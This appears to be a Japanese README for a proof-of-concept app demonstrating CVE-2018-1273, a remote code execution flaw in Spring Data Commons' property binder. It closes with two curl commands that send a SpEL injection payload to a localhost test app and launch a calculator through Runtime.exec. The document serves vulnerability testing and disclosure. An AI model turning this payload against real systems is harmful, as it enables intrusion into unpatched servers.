
CVE-2018-1273の概念実証エクスプロイト。Spring Data Commonsのプロパティバインダーの脆弱性により、細工されたHTTPリクエストパラメータを介したリモートコード実行が可能になります。
Spring Data Commons(バージョン1.13~1.13.10、2.0~2.0.5、およびサポート終了の古いバージョン)には、特殊要素の不適切な無害化に起因するプロパティバインダーの脆弱性が存在します。認証されていないリモートの悪意あるユーザー(攻撃者)は、Spring Data RESTがバックエンドとするHTTPリソースに対して特別に細工されたリクエストパラメータを送信するか、Spring Dataのプロジェクションベースのリクエストペイロードバインディングを利用することで、リモートコード実行攻撃につながる可能性があります。
詳細はこちら
このアプリケーションは、脆弱性のあるバージョンまたは修正済みのSpring Data Commonsでテストできます。
mvn spring-boot:run
mvn spring-boot:run -Dfixed
以下のコマンドを実行して、脆弱性が悪用可能かを確認します。
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Created by https://www.arima.eu
